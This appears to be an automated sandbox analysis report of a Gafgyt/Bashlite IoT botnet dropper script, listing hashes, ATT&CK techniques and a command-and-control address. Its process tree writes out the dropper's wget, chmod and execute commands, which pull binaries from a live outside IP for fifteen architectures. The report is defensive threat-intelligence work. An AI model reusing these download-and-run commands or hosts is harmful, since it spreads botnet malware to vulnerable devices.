gafgyt | 7080f56e8be79f89d154730ffb07e9d9f22bb754c6ee295548593245bc21a1af

Analysis

max time kernel
138s
max time network
140s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
26-12-2024 02:13

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General

Target

7080f56e8be79f89d154730ffb07e9d9f22bb754c6ee295548593245bc21a1af.sh
Size

2KB
MD5

297b82d777e2257fda8221703403b2d3
SHA1

d1ebd4f576bf89adcdf9453879c3ae2adeeb42ed
SHA256

7080f56e8be79f89d154730ffb07e9d9f22bb754c6ee295548593245bc21a1af
SHA512

dc0fc05650eca6bde3d5b02568e68810c61e1b6b58f5bb31f4847ef4082cd63f7aae45db042ec4e7f659615e761dcd472c6b8e20abd6e8431a3bd0c0f2ecea81

Score

10^/10

gafgyt botnet defense_evasion discovery

Malware Config

Extracted

Family

gafgyt

154.213.186.115:4444

Signatures

Detected Gafgyt variant 15 IoCs

resource	yara_rule
behavioral4/files/fstream-1.dat	family_gafgyt
behavioral4/files/fstream-2.dat	family_gafgyt
behavioral4/files/fstream-3.dat	family_gafgyt
behavioral4/files/fstream-4.dat	family_gafgyt
behavioral4/files/fstream-5.dat	family_gafgyt
behavioral4/files/fstream-6.dat	family_gafgyt
behavioral4/files/fstream-7.dat	family_gafgyt
behavioral4/files/fstream-8.dat	family_gafgyt
behavioral4/files/fstream-9.dat	family_gafgyt
behavioral4/files/fstream-10.dat	family_gafgyt
behavioral4/files/fstream-11.dat	family_gafgyt
behavioral4/files/fstream-12.dat	family_gafgyt
behavioral4/files/fstream-13.dat	family_gafgyt
behavioral4/files/fstream-14.dat	family_gafgyt
behavioral4/files/fstream-15.dat	family_gafgyt

Gafgyt family
gafgyt
Gafgyt/Bashlite
IoT botnet with numerous variants first seen in 2014.
botnet gafgyt

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
729	chmod
746	chmod
791	chmod
820	chmod
837	chmod
882	chmod
741	chmod
757	chmod
804	chmod
827	chmod
844	chmod
752	chmod
764	chmod
832	chmod
877	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/jackmymips	730	jackmymips
/tmp/jackmymips64	742	jackmymips64
/tmp/jackmymipsel	747	jackmymipsel
/tmp/jackmysh4	753	jackmysh4
/tmp/jackmyx86	758	jackmyx86
/tmp/jackmyi486	765	jackmyi486
/tmp/jackmyi586	793	jackmyi586
/tmp/jackmyi686	805	jackmyi686
/tmp/jackmypowerpc	821	jackmypowerpc
/tmp/jackmym86k	828	jackmym86k
/tmp/jackmysparc	833	jackmysparc
/tmp/jackmyarmv4	838	jackmyarmv4
/tmp/jackmyarmv4tl	846	jackmyarmv4tl
/tmp/jackmyarmv5	878	jackmyarmv5
/tmp/jackmyarmv6	883	jackmyarmv6

Reads system routing table 1 TTPs 1 IoCs

Gets active network interfaces from /proc virtual filesystem.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	jackmymipsel

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	jackmymipsel

System Network Configuration Discovery 1 TTPs 9 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
735	wget
745	wget
747	jackmymipsel
710	wget
733	rm
744	rm
750	rm
730	jackmymips
742	jackmymips64

Writes file to tmp directory 15 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/jackmym86k	wget
File opened for modification	/tmp/jackmysparc	wget
File opened for modification	/tmp/jackmyarmv4tl	wget
File opened for modification	/tmp/jackmymips	wget
File opened for modification	/tmp/jackmymips64	wget
File opened for modification	/tmp/jackmymipsel	wget
File opened for modification	/tmp/jackmyx86	wget
File opened for modification	/tmp/jackmyi486	wget
File opened for modification	/tmp/jackmyarmv4	wget
File opened for modification	/tmp/jackmyarmv5	wget
File opened for modification	/tmp/jackmysh4	wget
File opened for modification	/tmp/jackmyi586	wget
File opened for modification	/tmp/jackmyi686	wget
File opened for modification	/tmp/jackmypowerpc	wget
File opened for modification	/tmp/jackmyarmv6	wget

/tmp/7080f56e8be79f89d154730ffb07e9d9f22bb754c6ee295548593245bc21a1af.sh
/tmp/7080f56e8be79f89d154730ffb07e9d9f22bb754c6ee295548593245bc21a1af.sh
1⤵
PID:708
- /usr/bin/wget
  wget http://141.95.84.4:1594/jackmymips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:710
- /bin/chmod
  chmod +x jackmymips
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/jackmymips
  ./jackmymips
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:730
- /bin/rm
  rm -rf jackmymips
  2⤵
  - System Network Configuration Discovery
  PID:733
- /usr/bin/wget
  wget http://141.95.84.4:1594/jackmymips64
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:735
- /bin/chmod
  chmod +x jackmymips64
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/jackmymips64
  ./jackmymips64
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:742
- /bin/rm
  rm -rf jackmymips64
  2⤵
  - System Network Configuration Discovery
  PID:744
- /usr/bin/wget
  wget http://141.95.84.4:1594/jackmymipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:745
- /bin/chmod
  chmod +x jackmymipsel
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/jackmymipsel
  ./jackmymipsel
  2⤵
  - Executes dropped EXE
  - Reads system routing table
  - Reads system network configuration
  - System Network Configuration Discovery
  PID:747
- /bin/rm
  rm -rf jackmymipsel
  2⤵
  - System Network Configuration Discovery
  PID:750
- /usr/bin/wget
  wget http://141.95.84.4:1594/jackmysh4
  2⤵
  - Writes file to tmp directory
  PID:751
- /bin/chmod
  chmod +x jackmysh4
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/jackmysh4
  ./jackmysh4
  2⤵
  - Executes dropped EXE
  PID:753
- /bin/rm
  rm -rf jackmysh4
  2⤵
  PID:755
- /usr/bin/wget
  wget http://141.95.84.4:1594/jackmyx86
  2⤵
  - Writes file to tmp directory
  PID:756
- /bin/chmod
  chmod +x jackmyx86
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/jackmyx86
  ./jackmyx86
  2⤵
  - Executes dropped EXE
  PID:758
- /bin/rm
  rm -rf jackmyx86
  2⤵
  PID:760
- /usr/bin/wget
  wget http://141.95.84.4:1594/jackmyi486
  2⤵
  - Writes file to tmp directory
  PID:761
- /bin/chmod
  chmod +x jackmyi486
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/jackmyi486
  ./jackmyi486
  2⤵
  - Executes dropped EXE
  PID:765
- /bin/rm
  rm -rf jackmyi486
  2⤵
  PID:767
- /usr/bin/wget
  wget http://141.95.84.4:1594/jackmyi586
  2⤵
  - Writes file to tmp directory
  PID:768
- /bin/chmod
  chmod +x jackmyi586
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/jackmyi586
  ./jackmyi586
  2⤵
  - Executes dropped EXE
  PID:793
- /bin/rm
  rm -rf jackmyi586
  2⤵
  PID:796
- /usr/bin/wget
  wget http://141.95.84.4:1594/jackmyi686
  2⤵
  - Writes file to tmp directory
  PID:797
- /bin/chmod
  chmod +x jackmyi686
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/jackmyi686
  ./jackmyi686
  2⤵
  - Executes dropped EXE
  PID:805
- /bin/rm
  rm -rf jackmyi686
  2⤵
  PID:809
- /usr/bin/wget
  wget http://141.95.84.4:1594/jackmypowerpc
  2⤵
  - Writes file to tmp directory
  PID:811
- /bin/chmod
  chmod +x jackmypowerpc
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/jackmypowerpc
  ./jackmypowerpc
  2⤵
  - Executes dropped EXE
  PID:821
- /bin/rm
  rm -rf jackmypowerpc
  2⤵
  PID:824
- /usr/bin/wget
  wget http://141.95.84.4:1594/jackmym86k
  2⤵
  - Writes file to tmp directory
  PID:825
- /bin/chmod
  chmod +x jackmym86k
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/jackmym86k
  ./jackmym86k
  2⤵
  - Executes dropped EXE
  PID:828
- /bin/rm
  rm -rf jackmym86k
  2⤵
  PID:830
- /usr/bin/wget
  wget http://141.95.84.4:1594/jackmysparc
  2⤵
  - Writes file to tmp directory
  PID:831
- /bin/chmod
  chmod +x jackmysparc
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/jackmysparc
  ./jackmysparc
  2⤵
  - Executes dropped EXE
  PID:833
- /bin/rm
  rm -rf jackmysparc
  2⤵
  PID:835
- /usr/bin/wget
  wget http://141.95.84.4:1594/jackmyarmv4
  2⤵
  - Writes file to tmp directory
  PID:836
- /bin/chmod
  chmod +x jackmyarmv4
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/jackmyarmv4
  ./jackmyarmv4
  2⤵
  - Executes dropped EXE
  PID:838
- /bin/rm
  rm -rf jackmyarmv4
  2⤵
  PID:840
- /usr/bin/wget
  wget http://141.95.84.4:1594/jackmyarmv4tl
  2⤵
  - Writes file to tmp directory
  PID:841
- /bin/chmod
  chmod +x jackmyarmv4tl
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/jackmyarmv4tl
  ./jackmyarmv4tl
  2⤵
  - Executes dropped EXE
  PID:846
- /bin/rm
  rm -rf jackmyarmv4tl
  2⤵
  PID:849
- /usr/bin/wget
  wget http://141.95.84.4:1594/jackmyarmv5
  2⤵
  - Writes file to tmp directory
  PID:850
- /bin/chmod
  chmod +x jackmyarmv5
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/jackmyarmv5
  ./jackmyarmv5
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm -rf jackmyarmv5
  2⤵
  PID:880
- /usr/bin/wget
  wget http://141.95.84.4:1594/jackmyarmv6
  2⤵
  - Writes file to tmp directory
  PID:881
- /bin/chmod
  chmod +x jackmyarmv6
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/jackmyarmv6
  ./jackmyarmv6
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm -rf jackmyarmv6
  2⤵
  PID:885

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/jackmyarmv4

Filesize
167KB

MD5
d00be981681e272f97c7ae6e0d72a679

SHA1
76e316df4e70371cc1a0e1a718c4a148564ca13b

SHA256
2359a71e62d525ef2cc8041db19e15a51eb3201692869b7a75bd6d9977b84f08

SHA512
0ab8f509f9197c2130bb7bc36bc5de6f23d6c55a793158d1c8b2e9eff49d8b8bc69ac7edb994f78728f72de6e874af47bd7a84e36162e79dadcc0c7ba75271e0

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/tmp/jackmyarmv4tl

Filesize
166KB

MD5
8701802700912d0bc573d75d76bf4d30

SHA1
bcf66b86849b6c6a5977a102c67737723d9ace0d

SHA256
d338bd034f546e5756e2ebb0def390b32a13565a10e821ca8eee2eaa5468c07f

SHA512
74bd2a2a81f2dec0fa278d1aa02bfa20be97884fb7ccd2ccf4aaf2dfa07cbcc5314f7d1125c730a5209ef3abbeec7cc9e672fe32e8359522c9487f28f8bd5c7f

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/tmp/jackmyarmv5

Filesize
166KB

MD5
795d887687193140ee04711c54574ab5

SHA1
35ac21f15d9be9c9da1b22acefefbf466ad154f4

SHA256
f25d5d4a126acb25c26694b0d37455b757f6607a9bc33ee4a71f50b5506292a5

SHA512
5c687bcb950fae7738c4b65f67a0612f1f86338b92867deb1611b9483dfbc04b202edd158a9108be5d55350b717a64922050965e48907ff8066542eb4534c614

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/tmp/jackmyarmv6

Filesize
166KB

MD5
f8267e8d44d86203d2560d280b66bd36

SHA1
5a1c5e5caeacdf01af8c44bcbe1625b7ad0eb0fb

SHA256
a3360319b5713fa0352e837562c56a8fa34ff656a506763ca7e809d120e57980

SHA512
7b7398311260831b8428e76c46f31297dbfcae42c5c41c87c0644892854b0477406641bd0d5e7af03c7190a8fac38ac0c3cded5341f4f07dbfb974b8275b934e

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/tmp/jackmyi486

Filesize
126KB

MD5
37bc4b1d4fce9500ee4fee154e61d9e6

SHA1
6fddc8858547e60672cca66857ceb7293638a057

SHA256
72071458112606424f8eb5e064a29f4ab4016d3971da7f89e62785abeb9cbb9c

SHA512
3db6d2ed8a079792d9fc024a9e98a7cf6959ca446c4944726707c48a93775c5b40b2b9d46150a287561a4fdc6a1aa21310d8271ac521b40a733d15f07623d8eb

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/tmp/jackmyi586

Filesize
135KB

MD5
4ca387e1408f29f6ed1979acfb671f82

SHA1
3467879b5fd631a5884f947ba013d61ea8a33c91

SHA256
1f7ba28d9d2ea091a89b2f7e4131b76163a6dcfb696cc34b073de8c9bf8afc4d

SHA512
18995f38839a98d0d478dad4b4b000e478effd1acaea865a5e947454e1d17d296ae519556f1a30f875b505f38f298440d20ff988440457907d5dd3ae9492c738

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/tmp/jackmyi686

Filesize
139KB

MD5
1aeb2935aec67978bfdab8243470b577

SHA1
b26b260d86609e9c758279c59eb8caec53fd0f69

SHA256
936937cb11ad426210af65f850f4afee5713e324ad703a12d0b5f687ea84cf57

SHA512
3843063e037212bc1a60b67a69407cb466ee67d6d9935018f7fcebe5536c4be078cc797865cdfafd2f9073cec8c6425546089aee641d3788b61f4238a15748ce

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/tmp/jackmym86k

Filesize
155KB

MD5
a26f6fdf41bb8e4034409fb84adc83ba

SHA1
8c03a273bdd2e8f54994d0d061fe259a2968ff41

SHA256
7911664055520934019ddfa554219500fa5a038268c828a02b05aa6ad198fbbd

SHA512
dcdf2befd602bee0a56c2a05e01171cb24aada733531e479b157ccb8a6d494c3c1fcaa261b813e4eedc498bdc3ba5664e6e3b4c42ce713cfe2d5a5dcc27cb897

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/tmp/jackmymips

Filesize
199KB

MD5
f2ab2725ea6c883a5c608bc365c41fe5

SHA1
454d6983d9a7bb59aa0441b2c2cc805a97738e66

SHA256
531e818ee346f15e78c4f08d8de52a64597e10ce744b1be9dd2137eb1cd78c1d

SHA512
572183decc9a9ee8878e77485db9a22b6b0606e667743788eb5f5b1f8f35522505c216fe027931fa8913989053fa346b46b78c6b2209ecd53630bbc14e1d3a26

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/tmp/jackmymips64

Filesize
244KB

MD5
89655c0a64c3552ee71dc901a3561ad1

SHA1
8a488927882c18b5a35da06c6428f8707d4314ad

SHA256
08d4aed11bff7d311aa206396b2651f2e587e0fbe41d2688281ad4e0f6322d04

SHA512
23c581fe1ca57cc3dc9a7efeeee4d97eb5f97ac92ed3cf1f4af4e8d2caa467aa6e826a29f01a67b9dcc8609e77e76e9d23ee985f770fada89a9acab484c9af6f

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/tmp/jackmymipsel

Filesize
199KB

MD5
caabd697c443462f0a04d6b30529df58

SHA1
4fcb97074d1971ebfa482aad5edf208b43b6d819

SHA256
5259f289b8841e6beb9718c486210857edac40b5c206e5949fa5402b861849cf

SHA512
abf9607d8d332eca40f19ffef0866414fa353f12663c3dd232dd190954ab4f401f69cc9e84f669910c801a30df62bba8f00425aac5b1bfd99e756bdd4277a1a8

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/tmp/jackmypowerpc

Filesize
150KB

MD5
29f174a35d868d69945c412c159184dd

SHA1
7ac1d35bdbe15fed8443341de0875579ec8099d0

SHA256
b9966986b49c8db77d7909f17e743e4e7f6df00379a990467d62db55c69a3b7b

SHA512
6047582863aca61d2e8925f2fa6e4cc4eecdcd4095b76ea276e9489f7da1fc54503a01370f4f2f4553d144818cfa6b8324fdf772d92ecdcca57465904f012899

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/tmp/jackmysh4

Filesize
146KB

MD5
2a8e0da501cea8f8d32893a5fd6c9aab

SHA1
29b2be373b4155632926b9656861bebd53264473

SHA256
17f492bbf1085e3cec77c8b46831a7d2ef4662d0162377358e17296bebbb08d1

SHA512
64764a34cd7e8b7be0220519910b6f5a7e3c47340e45450e4e368515dca6c73ab3bbe11726f380533e11bc4ec840838d73a5dcc4720c93c96bb2b1444eedf6c7

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/tmp/jackmysparc

Filesize
167KB

MD5
8ad1c29bcb5557ee83c64f35b9b46b2e

SHA1
0fabfb4c79ff14fdacef575b3728561a8e557a77

SHA256
d44b79302f6bb77b6432c8074582a5e2df2c9d24404bc3dc17441f59e22284ca

SHA512
a3c8a68708056e0cd4aa9d5cae1c865eb381ec62f316aab48e38cdcb4ef0be3abc8daf30e4c888766211c2eaa433c7fe15e85efd3b14b35a5f3de5ab6e2ac2e6

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/tmp/jackmyx86

Filesize
156KB

MD5
afcb3a143b9f4e3a985c3eeb2e2ae4c8

SHA1
295f0e0380f71feb1c8911e29882db6a792bbd58

SHA256
fd0b10b636f99ee5e527b266d917c41d33230ad6bf600454e10b3e106db1031c

SHA512
b6124a40e8a5e7ff49df9b11e3b5097ac9e81b76c6146d902600f50de431e535136d22d63a34736b3fc53121ad0fa2d6b00af18b1ce834997c94c8eb288f5b08

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads